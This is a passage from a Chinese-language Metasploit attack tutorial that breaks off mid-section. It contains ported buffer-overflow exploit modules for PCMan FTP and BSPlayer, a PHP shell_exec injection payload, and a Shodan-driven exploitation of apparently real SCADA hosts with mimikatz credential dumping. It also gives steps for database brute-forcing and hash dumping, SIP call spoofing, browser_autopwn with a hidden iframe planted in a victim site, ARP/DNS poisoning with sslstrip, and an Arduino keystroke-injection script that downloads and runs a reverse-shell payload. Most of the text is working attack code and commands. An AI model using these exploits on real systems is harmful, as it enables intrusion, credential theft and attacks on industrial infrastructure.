  1. 将用户名,密码,主机分别保存在 host,fuser,fpass 中
  2. 将 junk 分配成 2012个字符’A’。用来做EIP偏移
  3. 将 JMP ESP地址赋值给 espaddress
  4. 将 10个 NOP 符号保存到变量 nops中
  5. 将攻击载荷丢到shellcode中
  6. 使用账密登录目标机FTP
  7. 组装,向目标发出 CWD 命令,并将溢出buf通过socket发送给目标机的21端口
  8. 执行结束的话,会在目标机弹出一个 windows 的计算器应用程序。证明了该EXP的渗透成功。

我们在其中找到核心要点:

  1. EIP偏移量 = 2012
  2. JMP ESP地址 = 0x76BB0659
  3. ESP和Shellcode之间的间隔空隙 = 10字节
  4. 目标端口 = 21
  5. 核心思路 = 发送CWD,后面跟着2012个填充数据,再复写ESP地址为0x76BB0659,填充ESP和Shellcode的间隙10个字节NOP,最后跟上Shellcode实际指令。

接下来,我们用Metasploit构建一个同样功能的渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
      Rank = NormalRanking
      include Msf::Exploit::Remote::Ftp // 支持库
      def initialize(info = {})
        super(update_info(info, 
            'Name' => 'PCMAN FTP server EXP by CWD command',
            'Description' => 'Test exp module',
            'Platform' => 'win', // 本模块可适用的平台
            'Author' => ['FK'],
            'Payload' => {
                'space' => 1000, // 攻击载荷shellcode允许的最大空间
                'BadChars' => '\x00\xff\x0a\x0d\x20\x40', // 可能出现的异常字符
            },
            'DefaultOptions' => {
                'EXITFUNC' => 'process',
                'VERBOSE' => true,
            },
            'Targets' => [
                ['Windows XP SP2', {'Ret' => 0x76BB0659, 'Offset' => 2012}] // JMP ESP地址 和 前置偏移量
            ],
            'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
        ))
        register_options(
            [
                Opt::RPORT(21),
                OptString.new('FTPPASS', [true, 'FTP password', 'FTP account'])
            ],
            self.class
        )
      end
      
      def exploit   // 该函数类似于辅助模块的默认函数run
        // 自己的逻辑代码,例如
        c = connect_login
        return unless c
        sploit = rand_text_alpha(target['Offset'])
        sploit << [target.ret].pack('V')  // pack['V'],是为了转为小尾
        sploit << make_npos(10)
        sploit << payload.encoded
        send_cmd(["CWD " + sploit, false])
        disconnect
      end
      
      def check // 测试函数,在exploit实际渗透之前可以手动调用测试版本信息
        c = connect_login
        disconnect
        if c and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("OK, 可以渗透")
            return Exploit::CheckCode::Appears
        elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
            vprint_status("账密错误,但版本正确,可以渗透")
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe  // 这个版本不存在漏洞
      end
    end

上面代码和之前相似,不再细说。其中多了一个check()函数,目的是在我们执行渗透之前,调用以便检查,调用方式如下:

    msf exploit(my_exploit)> check

则会输出

[*] OK, 可以渗透

或者其他提示。

移植一个POST请求PHP-utility-belt模块EXP

源码来自 这里

其漏洞地址在 这里

POST如下数据即可:

    fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');

将其改进,执行shellcode如下

    fwrite(fopen('info.php','w'),'<?php $a="net user"; echo shell_exec($a)?>');

命令执行后,将会创建一个info.php文件,并将 net user的信息写入该文件中。然后我们直接在浏览器中浏览 info.php ,即可看到执行命令的结果。

我们需要调用POST,在Metasploit中,WEB相关重要函数可以在/lib/msf/core/exploits/http下的client.rb文件中找到,而GET,POST请求核心函数则可以在/lib/rex/proto/http下的client.rb和client-request.rb文件中找到。

其核心流程包括:

  1. 创建一个POST请求
  2. 利用参数将Payload发送到目标
  3. 获取目标的Meterpreter权限
  4. 做一些后渗透工作

接下来,我们用Metasploit构建一个同样功能的渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
      include Msf::Exploit::Remote::HttpClient // 支持库
      def initialize(info = {})
        super(update_info(info, 
            'Name' => 'PHP Utility belt remote code Execution',
            'Description' => 'Test exp module',
            'Platform' => 'php', // 本模块可适用的平台
            'Author' => ['FK'],
            'Payload' => {
                'space' => 2000, // 攻击载荷shellcode允许的最大空间
                'DisableNops" = true // 是WEB应用不是软件,所以关闭payload中的NOP
            },
            'Targets' => [
                ['PHP Utility Belt', {}]
            ],
            'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
        ))
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The path to PHP Utility belt', '/php-utility-belt/ajax.php']),
                OptString.new('CHECKURI', [false, 'The path for check', '/php-utility-belt/info.php']),
            ],
            self.class
        )
      end
      
      def check
        send_request_cgi(
            'method' => 'POST',
            'uri' => normaliza_uri(target_uri.path),
            'vars_post' => {
                'code' => "fwrite(fopen('info.php','w'),'<?php echo phpinfo();?>');"
            }
        )
        resp = send_request_raw({
            'uri' => normaliza_uri(datastore['CHECKURI']), 
            'method' => 'GET'
            })
        if resp.body =~ /phpinfo()/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
      end
      
      def exploit
        send_request_cgi(
            'method' => 'POST',
            'uri' => normaliza_uri(target_uri.path),
            'vars_post' => {
                'code' => payload.encoded
            }
        )
      end
    end

测试执行EXP

    msf > use exploit/myexp/php-belt
    msf exploit(php-belt)> set RHOST 192.1.1.1
    msf exploit(php-belt)> set payload php/meterpreter/bind_tcp
    msf exploit(php-belt)> check
    [+] 192.1.1.1:80 - The target is valnerable.
    msf exploit(php-belt)> exploit

    ...some infos...

    meterpreter> sysinfo

    ...system infos...

移植一个TCP请求BSPlayer SEH模块EXP

源码来自 Exploit-DB 这里

    import socket
    import sys
    
    s = socket.socket()         # Create a socket object
    if(len(sys.argv) < 3):
      print "[x] Please enter an IP and port to listen to."
      print "[x] " + sys.argv[0] + " ip port"
      exit()
    host = sys.argv[1]      # Ip to listen to.
    port = int(sys.argv[2])     # Reserve a port for your service.
    s.bind((host, port))        # Bind to the port
    print "[*] Listening on port " + str(port)
    s.listen(5)                 # Now wait for client connection.
    c, addr = s.accept()        # Establish connection with client.
    # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
    print(('[*] Sending the payload first time', addr))
    c.recv(1024)
    #seh and nseh.
    buf =  ""
    buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
    buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
    buf += "..."
    buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
    buf += "\x8c\xcd\x11\xc2\x37\x12"
    
    jmplong = "\xe9\x85\xe9\xff\xff"
    nseh = "\xeb\xf9\x90\x90"
    # Partially overwriting the seh record (nulls are ignored).
    seh = "\x3b\x58\x00\x00"
    buflen = len(buf)
    response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
    c.send(response)
    c.close()
    c, addr = s.accept()        # Establish connection with client.
    # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
    print(('[*] Sending the payload second time', addr))
    c.recv(1024)
    c.send(response)
    c.close()
    s.close()

上面的代码有三处要值得注意:

  1. 作者使用了向后跳转的技术找到payload,这是为了解决栈控件限制的技术。
  2. 因为漏洞的特性,作者向目标发送了两次恶意缓冲区来执行payload。
  3. 这个漏洞执行时,是监听一个端口,然后等待目标连接,到目标连接后,再发送payload过去,并非主动连接目标。

我们整理得到的核心信息包括:

  1. 偏移量 = 2048
  2. POP/POP/RET在内存中的地址 = seh = \x3b\x58\x00\x00 = 0x0000583b
  3. 到shellcode的长跳转地址 = jmplong = \xe9\x85\xe9\xff\xff
  4. 指向下一个SEH帧的短跳转指针 = \xeb\xf9\x90\x90

接下来,我们用Metasploit构建一个同样功能的渗透模块

    require 'msf/core'
    class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
      Rank = NormalRanking
      include Msf::Exploit::Remote::TcpServer
      def initialize(info = {})
        super(update_info(info, 
            'Name' => 'BSPlayer SEH overflow exploit',
            'Description' => 'Test exp module',
            'Platform' => 'win', // 本模块可适用的平台
            'Author' => ['FK'],
            'Payload' => {
                'BadChars' => "\x00\x0a\x20\x0d"
            },
            'Targets' => [
                ['Generic', {'Ret' => 0x0000583b, 'Offset' = 2048}]
            ],
            'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
        ))
      end
      
      def on_client_connect(client) // 这里变化要注意
        return if((p = regenerate_payload(client)) == nil)
        print_status("Client connected.")
        sploit = make_nops(target['Offset'])
        sploit << payload.encoded
        sploit << "\xcc" * (6787 - 2048 - payload.encoded.length)
        sploit << "\xe9\x85\xe9\xff\xff"
        sploit << "\xeb\xf9\x90\x90"
        sploit << [target.ret].pack('V')
        client.put(sploit)
        client.get_once
        client.put(sploit)
        handler(client)
        service.close_client(client)
      end
    end

SCADA渗透

监控和数据采集系统(Supervisory Control and Data Acquisition, SCADA)一般用于大型工业生产过程控制服务方面。例如交通灯管理,工厂里控制两个药剂的混合比例等等。

最近几年,OT开始和IT进一步整合,而OT原本相对封闭,而且Scada系统通常是基于 windows XP 实现的,所以存在的漏洞隐患较多,成为了HACK们的争相试手之地。

渗透SCADA服务器

我们利用 shodan 来查找。

  1. 首先注册一个 shodan 账号,在个人信息处可以找到自己的API KEY
  2. 在Metasploit中,利用该key找到合适服务。我们这里尝试找 Rockwell(一个SCADA品牌)的服务器
msf> use auxiliary/gather/shodan_search
msf auxiliary(shodan_search)> show options
msf auxiliary(shodan_search)> set SHODAN_APIKEY Rxdskwhhgxbx2djssj21xxoo
msf auxiliary(shodan_search)> set QUERY Rockwell
msf auxiliary(shodan_search)> run

将输出

104.159.239.246:44818  USA
123.209.12.75:44818 Iceland
....
  1. 我们对其中一个服务器做一个渗透测试
msf> use exploit/windows/scada/realwin_scpc_initialize
msf exploit(realwin_scpc_initialize)> set RHOST 104.159.239.246
msf exploit(realwin_scpc_initialize)> set payload windows/meterpreter/bind_tcp
msf exploit(realwin_scpc_initialize)> exploit
// 然后用mimikatz查看明文mima
meterpreter> load mimikatz
meterpreter> kerberos

将输出

LOCAL SERVICE -
NETWORL SERVICE -
Administrator 12345

其中Administrator/12345就是账号密码了。

关于SCADA系统的漏洞可以参考 这里,另外, 这个scadahacker网站也是推荐去了解的。

这里不是核心点,简单了解即可。

数据库渗透

SQL Server

默认情况下,MS SQL运行在TCP的1433端口以及UDP的1434端口。

  1. 首先,我们使用NMAP对SQL Server进行踩点。例如:
// 扫描TCP端口
msf> db_nmap -sV -p1433 192.1.1.1
msf> services

将得到

192.1.1.1   1433  TCP  MS-SQL  open  MicrosoftSQLServer2008 Version10.0.1600

// 扫描UDP端口
msf> db_nmap -sU -sV -p1434 192.1.1.1
msf> services

将得到

192.1.1.1   1433  TCP  MS-SQL  open  MicrosoftSQLServer2008 Version10.0.1600
192.1.1.1   1434  UDP  MS-SQL  open  MicrosoftSQLServer2008 Version10.0.1600

// 进一步获取数据库基础详细信息
msf> db_nmap -sU --script=ms-sql-info -p1434 192.1.1.1

将得到

MAC Address: 00:50:56:C0:00:0C (VMware)
Windows server name: WIN8
Instance name: MSSQLSERVER
Version: Microsoft SQL Server 2008 RTM
Version number: 10.0.1600.00
Named pipe: \\192.1.1.1\pipe\sql\query
Clustered: No
  1. 通过Metasploit进行扫描账密
// 获取数据库基础详细信息
msf> use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_ping)> run

可以得到类似上面的 nmap 查询的信息。

// 暴力密码破解
msf> use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login)> show options // 参数很多,可以看看
msf auxiliary(mssql_login)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_login)> set USER_FILE user.txt // 用户名词典
msf auxiliary(mssql_login)> set PASS_FILE pass.txt // 密码词典
msf auxiliary(mssql_login)> run

然后就可以等待暴力破解结果了。

// 如果获得了一个账密,那么可以将其他的用户密码hash值dump出来
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf auxiliary(mssql_hashdump)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_hashdump)> set USERNAME sa
msf auxiliary(mssql_hashdump)> set PASSWORD test
msf auxiliary(mssql_hashdump)> run

将会得到其他用户名,和密码Hash值,然后可以用第三方工具来破解Hash。以获取权限的提升或者其他库表的权限。

// 这里简单说一种方式
msf> use auxiliary/analyze/jtr_mssql_fast
msf auxiliary(jtr_mssql_fast) > run
  1. 通过Metasploit获取库信息
msf> use auxiliary/scanner/mssql/mssql_enum
msf auxiliary(mssql_enum)> set RHOSTS 192.1.1.1
msf auxiliary(mssql_enum)> set USERNAME sa
msf auxiliary(mssql_enum)> set PASSWORD test
msf auxiliary(mssql_enum)> run

这样就可以获取数据库几乎所有信息,包括存储过程,库名,账户信息等
  1. 后渗透命令

为了进行进一步的攻击,我们可以使用两个重要模块。

  • mssql_sql ,可以用它来进行SQL查询
  • mssql_exec,可以用它来启用被禁止的 xp_cmdshell,以执行系统级命令
// 执行系统级命令  ipconfig
msf> use auxiliary/scanner/mssql/mssql_exec
msf auxiliary(mssql_exec)> set CMD 'ipconfig'
msf auxiliary(mssql_exec)> run

// 注入 payload
msf> use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) >set RHOSTS 192.1.1.1
msf exploit(mssql_payload) >set PASSWORD test
msf exploit(mssql_payload) >set SRVHOST 192.1.1.2
msf exploit(mssql_payload) >run

MySQL

类似MS SQL,所以不赘述

// 获取MySQL信息
msf> use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version)> set RHOSTS 192.1.1.1
msf auxiliary(mysql_version)> run

// 暴力词典破解密码
msf> use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login)> show options // 参数很多,可以看看
msf auxiliary(mysql_login)> set RHOSTS 192.1.1.1
msf auxiliary(mysql_login)> set USER_FILE /root/Desktop/user.txt // 用户名词典
msf auxiliary(mysql_login)> set PASS_FILE /root/Desktop/pass.txt // 密码词典
msf auxiliary(mysql_login)> run

// 同样的hashdump,同样的mysql_enum获取库详细信息。

// 直接访问对方SQL
root@kali:~# mysql -h 192.1.1.1 -u root -p
Enter password: ******
然后就进入了mysql
mysql> show databases;

VOIP渗透

IP电话(Voice Over Internet Protocol, VOIP)比起传统的电话服务,价格会低廉的多,而且有更多的特性,例如来电提示,日志服务,通话录音等等。

所以很多公司都推出了用于IP电话服务的专用交换机(Private Branch eXchange, PBX),它可以便于公司内部各部门通信,而且也便于公司内部与外界连通(无需每个电话和外界单独连通了)。

VOIP本质上就是将Voice数字化,再以数据封包的方式在IP网络商做实时传递。注意:这个传输是以IP网络传输,而不是用电话网络传输。

VOIP中进行数据传输的协议类型包括: SIP(会话发起协议), H.323, IAX2等等。

PBX就是一个程控交换机,计算机的数据VLAN 和 电话的声音VLAN一样都可以连接到它,并进行分发,然后它也可以负责和Internet网的连接或和公共电话网(Public Switched Telephone Network, PSTN)进行连接。

IP PBX就是将计算机网和电话交换机的功能合一。和传统PBX的区别是,传统PBX利用的电路交换原理来实现电话功能,而IP PBX则是使用TCP/IP协议,利用包交换原理,实现电话功能。

Asterisk是一款实现电话用户交换机(PBX)功能的开源软件,它支持VOIP的大部分协议,包括SIP。

推荐网站

VOIP的渗透测试资料站

VOIP扫描

使用SIP端点扫描程序,扫描一个网段中的SIP服务信息,如下

msf> use auxiliary/scanner/sip/options
msf auxiliary(options)> show options  // 建议查看参数
msf auxiliary(options)> set RHOSTS 192.1.1.1/24  // 注意,这里不是单一IP。是IP段。 
msf auxiliary(options)> run

// 这样就可以扫描256个IP(在IP段内),然后会获得其中拥有SIP服务的IP,以及其设备信息和支持的消息请求类型(其中的INVITE, ACK这些请求,类似GET,POST,HEAD这种),如下

[*] 192.1.1.12 sip:nobody@192.1.1.254 agent='hUQ'
[*] 192.1.1.13 404 agent='Asterisk PBX' verbs = 'INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY'

也可以扫描一个网段中的用户列表,如下

msf> use auxiliary/scanner/sip/enumerator
msf auxiliary(enumerator)> show options  // 建议查看参数
msf auxiliary(enumerator)> set RHOSTS 192.1.1.1/24
msf auxiliary(enumerator)> set MINEXT 30000 // 分机号码起始值
msf auxiliary(enumerator)> set MAXEXT 33000 // 分机号码结束值
msf auxiliary(enumerator)> set PADLEN 5
msf auxiliary(enumerator)> run

于是这将会在 192.1.1.1/24 这个子网段,扫描 30000-330000 分机号码的用户,如下

[*] Found user: 30008 <sip:30008@192.1.1.254> [open]
[*] Found user: 30023 <sip:30023@192.1.1.254> [open]

VOIP电话欺骗

msf> use auxiliary/voip/sip_invite_spoof
msf auxiliary(sip_invite_spoof)> show options  // 建议查看参数
msf auxiliary(sip_invite_spoof)> set RHOSTS 192.1.1.254
msf auxiliary(sip_invite_spoof)> set SRCADDR 192.1.1.1 // 伪造电话源地址
msf auxiliary(sip_invite_spoof)> set EXTENSION 4444
msf auxiliary(sip_invite_spoof)> run

这样就给 192.1.1.254 这个IP伪造了一个来电电话。

VOIP渗透攻击

msf> use exploit/windows/sip/sipxphone_cseq
msf exploit(sipxphone_cseq)> show options  // 建议查看参数
msf exploit(sipxphone_cseq)> set RHOSTS 192.1.1.254
msf exploit(sipxphone_cseq)> set PAYLOAD windows/meterpreter/bind_tcp
msf exploit(sipxphone_cseq)> set LHOSTS 192.1.1.1
msf exploit(sipxphone_cseq)> exploit

渗透实例

前期准备

对于沟通,社工获取信息部分,这里不再细述。

我们直接从目标机的漏洞扫描开始。

Metasploit中使用OpenVAS进行漏洞扫描

// 首先创建工作区,以便我们同时进行多个任务的切换
msf> workspace -a NetScan
[*] Added workspace: NetScan

// 切换到该工作区下,开始工作。(以后只要输入 workspace NetScan 就能切换到该工作区)
msf> workspace NetScan
[*] Workspace: NetScan

// 查看 msf 可加载插件
msf> load
[*] load sqlmap
[*] load nessue
[*] load openvas
[*] load nexpose
...

// 加载 openvas 插件模块
msf> load openvas

// 使用 openvas 插件 和 openvas软件本身进行连接
msf> openvas_connect admin password localhost 9390 ok
[+] OpenVAS connection successful

// 要启动漏洞扫描,首先就是确定扫描目标
// 下面创建一个IP为192.1.1.1的目标,名字我们称为 targetA, 备注为 TestMachine
msf> openvas_target_create targetA 192.1.1.1 TestMachine
msf> openvas_target_list

创建成功,将会出现下列列表,我们要注意信息中最前面的ID

[+] OpenVAS list of targets
0   Localhost   127.0.0.1   Comment: nil 
1   targetA     192.1.1.1   Comment: TestMachine

// 接下来,需要为被测试的目标定义一个策略,我们先查看策略列表
msf> openvas_config_list

[+] OpenVAS list of configs
0   Discovery
1   empty
2   Full and fast
3   Full and ver deep
...
7   System Discovery

// 我们开始创建漏洞扫描任务。
// 注意,参数里面的 2 是openvas_config_list中的[Full and fast]模式
// 参数里面的 1 是openvas_target_list中的[1]号,targetA的IP
msf> openvas_task_create NetscanTask ScanForVulns 2 1

// 然后漏洞扫描任务就开始执行了,期间我们可以查看其进度
msf> openvas_task_list
[+] OpenVAS list of tasks
0   NetscanTask     Running     Comment:ScanForVulns

// 当任务结束后,我们可以查看扫描报告列表
msf> openvas_report_list
[+] OpenVAS list of reports
0   NetscanTask     2019-11-01T15:00:01Z    2019-11-01T15:32:21Z
1   OtherFinTask    2019-10-21T08:03:50Z    2019-10-22T01:43:05Z

// 然后我们选择将扫描报告以指定方式进行保存
// 首先我们先看保存的格式选项列表
msf> openvas_format_list

[+] OpenVAS list of report formats
0       AnonymousXML xml
1       ARF xml
2       CPE csv
3       HTML html
...
11      TXT txt
12      VeriniceISM vna
13      XML xml

// 我们想保存为标准xml格式,所以如下操作
// 参数中的 0 是openvas_report_list中的[0]号报告
// 参数中的 13 是openvas_format_list中的[13]XML格式
msf> openvas_report_import 0 13

// 这些漏洞报告被以XML格式保存到数据库中之后,我们可以通过浏览器查看,URL为
https://127.0.0.1:9392

// 即可获得目标机上的漏洞列表。

Metasploit中使用Nessus进行漏洞扫描

上面我们在Metasploit中使用OpenVAS进行了漏洞扫描,这里我们使用Nessus进行漏洞扫描,Nessus是收费的,但它比OpenVAS更强大,十分推荐。

要在Kali中安装Nessus,我们可以参考这篇文章

// 下面开始连接nessus
msf> load nessus
msf> nessus_connect root:xxoo@127.0.0.1:8834
// 下面查看nessus策略列表
msf> nessus_policy_list
[*] PolicyID:22 Name:BasicPolicy UUID:731a8e52-372e-98a1-ec0a-d2ff9083dba82ab2338d65
// 通过UUID创建一个扫描任务
msf> nessus_scan_new 731a8e52-372e-98a1-ec0a-d2ff9083dba82ab2338d65 myScanTask "new scan task comment" 192.1.1.3
[*] ScanID:50 ScannerID:1 PolicyID:22 Targets:192.1.1.3 Owner:root
// 然后我们通过ScanID创建一个扫描任务并执行
msf> nessus_scan_launch 50
// 然后进一步查看扫描的进行状态
msf> nessus_scan_details 50 info
// 扫描完成后,我们查看扫描结果信息
msf> nessus_report_hosts 50
[*] 192.1.1.3 Critical:10 High:4 Medium:17 Low:5
// 我们发现这个系统有10个高危漏洞,4个重点漏洞,17个中级漏洞,5个低级漏洞。
// 然后我们查看具体的漏洞列表
msf> nessus_report_vulns 50
[*] 10028  DNS BIND remote detection
[*] 10245  SMTP server detection
[*] ...
// 我们也可以将这个结果导入到Metasploit数据库
msf> nessus_db_import 50
// 不过,在导入之前,建议先创建一个新工作区,不然会覆盖之前OpenVAS的导入数据

在此之后,我们可以执行以下命令了解更多信息

msf> hosts  // 目标对象的基本信息
msf> vulns  // 目标对象上漏洞信息
msf> services // 目标对象上的服务信息

威胁建模

此时我们要根据漏洞列表,去分析漏洞的作用,找到当前最合适的漏洞。

例如DDOS宕机的漏洞可能意义不大,而能获取控制权限的漏洞可能意义非凡。

总之,这里我们选择一个CVE 2014-6287的HTTP文件服务器远程代码执行漏洞作为突破口。

msf> search cve:2014-6287

[+] exploit/windows/http/rejetto_hfs_exec 2014-09-11

我们得到了这个CVE的EXP。

获取权限

msf> use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec)> show payloads // 查看这个EXP对应的payloads
msf exploit(rejetto_hfs_exec)> set RHOST 192.1.1.1
msf exploit(rejetto_hfs_exec)> set RPORT 8080
msf exploit(rejetto_hfs_exec)> set payload windows/meterpreter/reverse_tcp
msf exploit(rejetto_hfs_exec)> set LHOST 192.1.1.2
msf exploit(rejetto_hfs_exec)> exploit
// 成功,我们进一步使用arp查找该系统的临近计算机
meterpreter> sysinfo
meterpreter> arp

使用Faraday管理测试结果

Faraday是一个开源协作渗透和漏洞管理工具。它有大量的仪表面板以便进行漏洞的可视化。它和大量的渗透工具也能简单的无缝集成。

例如,我们把metasploit扫到的漏洞给faraday可视化:

// 将数据导出到xml文件
msf> db_export -f xml /root/desktop/abc.xml
// 然后将这个xml复制到faraday目录下就可以了
root@kali:>$ cp /root/desktop/abc.xml /root/.faraday/report/pentest/

然后,在Faraday中就可以看到刚才漏洞的dashboard了。

Faraday的一些Demo

手动写报告的格式

  • 封面/文档属性
  • 目录
  • 摘要
    • 渗透测试适用范围
    • 严重性信息
    • 目标
    • 假设
    • 漏洞信息摘要:危险层级和数量
    • 漏洞分布图:类型分布等
    • 建议摘要
  • 方法/技术报告
    • 测试细节
    • 漏洞名单
    • 可能性
    • 建议
  • 参考文件
  • 词汇表
  • 附录

客户端渗透

客户端渗透的定义是:需要目标用户配合才能成功的渗透。

例如诱骗对方访问恶意网址,打开执行文件等,之后我们才能成功渗透到对方系统。

下面是一些常见的客户端渗透技术。

基于浏览器的渗透攻击

一些漏洞列表

我们这里以Browser autopwn攻击为例。

它的渗透原理是:

  • 首先,我们本地建立一个渗透服务器,它进行监听。

  • 然后,我们某种方式诱导受害者访问恶意链接,此时渗透服务器会检测用户浏览器类型并发送对应的渗透EXP模块。

  • 自动在目标机器执行渗透模块,并提供meterpreter控制权限给攻击者。

过程如下:

// 选择autopwn,这里有两个autopwn,其中browser_autopwn2更新更强大,能扫描到的漏洞更多,但方便测试,这里选择了简单的browser_autopwn
msf> search autopwn
[*] auxiliary/server/browser_autopwn
[*] auxiliary/server/browser_autopwn2
// 模块参数配置
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 192.1.1.2
msf auxiliary(browser_autopwn) > set URIPATH /
msf auxiliary(browser_autopwn) > exploit
// 回车后会自动处理很多数据,要等几分钟
msf auxiliary(browser_autopwn) > [*] Done in 1.927183322 seconds
[*] Using URL: http://0.0.0.0:8080/NWHAsWTPb
[*] Local IP: http://192.1.1.1:8080/NWHAsWTPb
[*] Server started.
[*] ....
[*] --- Done, found 21 exploit modules
[*] Server started.
// 然后我们用某种方式诱骗他人访问 http://192.1.1.1:8080/
// 当有人访问到【http://192.1.1.1:8080/】这个URL时,渗透服务器就会持续发送各种EXP,最终拿到Meterpreter控制权限为止。
[*] Session ID 1 (192.1.1.1:7777 -> 192.1.1.2:49716) processing InitialAutoRunScript 'migrate -f'
[*] Successfully migrated to process
// 查看当前“上当”的受害机器会话列表
msf auxiliary(browser_autopwn) > sessions -i
[*] Active sessions
===============
  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   meterpreter java/java  tt @ liuxin  192.1.1.1:7777 -> 192.1.1.2:49716 (192.1.1.2)
  2   meterpreter java/java  tt @ liuxin  192.1.1.1:7777 -> 192.1.1.2:49717 (192.1.1.2)
// 选择一个会话
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...
// 查看对方主机信息
meterpreter > sysinfo

恶意链接的传播方式

  1. 直接发送渗透服务器IP肯定是不行的,于是最基本的,可以用域名欺骗受害者点击。

  2. 可以拿到一些有漏洞的网站管理权,在其网站嵌入隐藏iFrame,那么别人在访问这个网站时,就会被渗透。

// 例如在受害者网站的index.php里加入
<iframe src="http://192.1.1.1:80/" width=0 height=0 style="hidden"
frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
  1. 如果是局域网的话,还可以使用ARP投毒+DNS欺骗。用户在访问网站时,通过DNS解析得到错误IP,就会被渗透。
// 首先,我们要进行DNS投毒。我们先创建一个伪造dns文件如下
root@kali:~# vi /usr/share/ettercap/etter.dns
// 里面内容填写为
google.com A 192.1.1.1
baidu.com A 192.1.1.1
// 然后我们开启ettercap软件
root@kali:~# ettercap -G

// 然后选择sniff-> Unifed sniffing.. -> 通常选择eth0网卡作为默认端口
// 选择hosts->scan for hosts 扫描目标网络范围内的在线主机IP地址
// 扫描完成后 hosts->host list查看在线主机列表
// 然后我们开始ARP定向投毒
// 设置网关地址为 target2, 设置受害者地址为  target1, 进行start sniffing
// 这是ARP中间人攻击。
// 之后受害者就会以为我们是网关,所有网络消息将发送给我们,我们再自动将其消息转发给真正的网关。
// 而网关又会认为我们是受害机,所有的返回消息也都会给我们。
// 一切消息经过我们转发,我们就可以查看受害者访问状况。
// 例如 urlsnarf -i eth0 获取受害人访问了哪些网页
// 例如 driftnet -i eth0 获取受害人看的网络视频和网络图片之类的
// 利用 sslstrip -a -f -k  获取受害人的账号密码之类的
// 当然这次我们仅仅关注的是受害者的DNS解析消息。
// 于是我们在 ettercap 的plugins选项中点击Manager the plugins->DNS Spoof plug-in激活DNS欺骗。
// 欺骗的信息我们一已经在 etter.dns 里伪造好了。于是只要受害者访问 google.com 就会进入192.1.1.1 被我们渗透了。

利用Arduino单片机进行渗透

Arduino是一个很小的(USB盘大小)的单片机,价格很便宜20来块RMB就够。

部分Arduino板支持键盘鼠标库,意味着它们可以成为HID设备,例如点键盘,移动,点鼠标等动作。

但是Arduino没有存储空间,所以,我们将代码烧录到单片机上之后,需要从网上下载 payload。

Arduino基本设置说明

下面是一个简单的Arduino渗透工具代码。

    #include<Keyboard.h>
    // Arduino默认执行初始函数
    void setup() {
        delay(2000); // Arduino默认等待函数
        // 按下【Windows+d】键,显示桌面的快捷键
        myKeypress(KEY_LEFT_GUI,false);
        myKeypress('d',false);
        Keyboard.releaseAll();
        delay(500);
        // 按下【windows+r】键,启动【运行】的快捷键
        myKeypress(KEY_LEFT_GUI,false);
        myKeypress('r',false);
        delay(500);
        Keyboard.releaseAll();
        delay(1000);
        // 输入powershell命令,下载payload并将其存储到temp中
        print(F("powershell -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('http://192.1.1.1/myTestPayload.exe','%TEMP%\\myPayload.exe'); Start-Process "%TEMP%\\myPayload.exe""));
        delay(1000);
        // 按下回车键,执行上述powershell
        myKeypress(KEY_RETURN,false);
        Keyboard.releaseAll();
        Keyboard.end();
    }
    // 按键函数
    void myKeypress(int key, boolean release) {
        Keyboard.press(key);
        if(release)
            Keyboard.release(key);
    }
    void print(const __FlashStringHelper *value) {
        Keyboard.print(value);
    }
    // Arduino默认核心函数
    void loop(){}

然后将上面的代码烧录到Arduino单片机上。

之后只要将这个单片机用USB接口插到目标机上几秒就OK了,自动下载自动执行payload。我们就可以远程meterpreter了。

上述过程中的payload如下开发:

root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.1.1.1 LPORT=5555 -f exe > /var/www/html/myTestPayload.exe

我们就得到了一个exe格式的payload,大小一般只有几百字节。

然后我们开个Apache把它挂到网上去,等待Arduino单片机控制受害机下载运行

root@kali:~# service apache2 start

然后我们再开一个渗透服务器,等待受害机的payload连接

msf> use exploit/multi/handler
msf exploit(handler)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 5555
msf exploit(handler)> set LHOST 192.1.1.1
msf exploit(handler)> exploit
[*]starting reverse TCP handler on 192.1.1.1:5555

// 这就在监听了,然后,如果有人受害,payload发作后,我们的渗透服务器就会显示

[*] Meterpreter session 1 opened(192.1.1.1:5555 -> 192.1.1.2:12668)
Meterpreter> sysinfo
...

// 我们就渗透完成了

利用PDF文件进行渗透

首先,生成一个pdf格式的payload

